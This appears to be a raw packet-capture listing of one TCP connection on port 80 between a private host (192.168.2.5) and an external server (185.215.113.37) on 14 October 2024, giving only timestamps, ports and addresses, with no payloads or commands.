Oct 14, 2024 13:08:16.587897062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.587905884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.587945938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.588064909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.588083982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.588105917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.588107109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.588129997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.588134050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.588160038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.588172913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.588221073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.588260889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.588278055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.588318110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.588356972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.588376999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.588397980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.588401079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.588411093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.588454962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.714869022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.714936972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.714989901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.715023041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.715023041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.715049028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.715302944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.715364933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.715368032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.715420008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.715430975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.715500116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.715615988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.715662956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.715672016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.715709925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.715732098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.715764046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.715781927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.715797901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.715856075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.715857983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.715893030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.715904951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.715924025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.715950966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.716010094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.716039896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.716065884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.716098070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.716588020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.716644049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.716650009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.716690063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.716732025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.716759920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.716806889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.716814995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.716839075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.716875076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.716878891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.716895103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.716908932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.716919899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.716923952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.716943026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.716947079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.716965914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.716979980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.717016935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.717031002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.717055082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.717056036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.717076063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.717097998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.717619896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.717633963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.717668056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.717669964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.717685938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.717694044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.717710018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.717716932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.717736959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.717736959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.717755079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.717755079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.717777967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.717778921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.717798948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.717818975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.718056917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.718080997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.718101978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.718106031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.718112946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.718123913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.718136072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.718147993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.718180895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.844324112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.844387054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.844435930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.844460011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.844480991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.844480991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.844486952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.844521999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.844830036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.844893932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.844913960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.844954967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.845000982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.845021963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.845069885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.845069885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.845086098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.845129013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.845136881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.845170021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.845187902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.845241070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.845242023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.845280886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.845289946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.845326900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.845346928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.845393896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.845400095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.845438004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.845460892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.845484972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.845485926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.845529079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.845530987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.845576048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.845578909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.845617056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.845617056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.845659971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.845846891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.845892906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.845910072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.845940113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.845957994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.846004009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.846009016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.846050024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.846065998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.846107006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.846112013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.846152067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.846152067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.846194983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.846215963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.846257925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.846267939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.846297979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.846301079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.846347094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.846353054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.846393108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.846415043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.846478939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.846524000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.846570015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.846574068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.846615076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.846616983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.846653938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.847424030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.847477913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.847484112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.847527027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.847552061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.847594023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.847614050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.847660065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.847660065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.847702980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.847704887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.847743988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.847749949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.847791910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.847794056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.847832918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.847837925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.847875118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.847898006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.847944021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.847944021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.847985983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.847989082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.848025084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.848035097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.848078012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.848078012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.848114014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.848125935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.848156929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.848164082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.848206043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.974190950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.974244118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.974261045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.974301100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.974344969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.974438906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.974489927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.974509954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.974525928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.974556923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.974575043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.974672079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.974685907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.974699974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.974716902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.974730015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.974730015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.974776983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.974807024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.974822998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.974837065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.974837065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.974853039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.974855900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.974878073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.974904060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.974946976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.974992990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.975008011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.975022078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.975035906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.975060940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.975100994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.975147009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.975188971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.975203037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.975219965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.975230932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.975729942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.975748062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.975761890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.975778103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.975795031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.975812912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.975812912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.975841045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.975841999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.975858927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.975873947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.975902081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.975928068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.975939989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.975986958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.976035118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.976049900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.976058960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.976108074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.976989985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.977011919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.977036953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.977051020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.977052927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.977068901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.977073908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.977082014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.977092028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.977127075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.977205992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.977221966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.977236032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.977245092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.977245092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.977272034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.977283001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.977385998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.977427006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.977442980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.977447033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.977458000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.977472067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.977488041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.977511883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.977610111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.977626085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.977642059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.977653980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.977659941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.977669954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.977677107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:16.977684975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.977708101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:16.977721930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.103840113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.103950977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.103986979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.103990078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.104026079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.104026079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.104321957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.104372978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.104403973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.104408026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.104429960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.104444027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.104454994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.104480982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.104506016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.104525089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.104532957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.104578018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.104595900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.104614019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.104625940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.104669094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.104669094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.104702950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.104724884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.104756117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.104768038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.104792118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.104808092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.104824066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.104849100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.104903936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.104927063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.104942083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.104949951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.105011940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.105676889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.105729103 CEST	80	49704	185.215.113.37	192.168.2.5
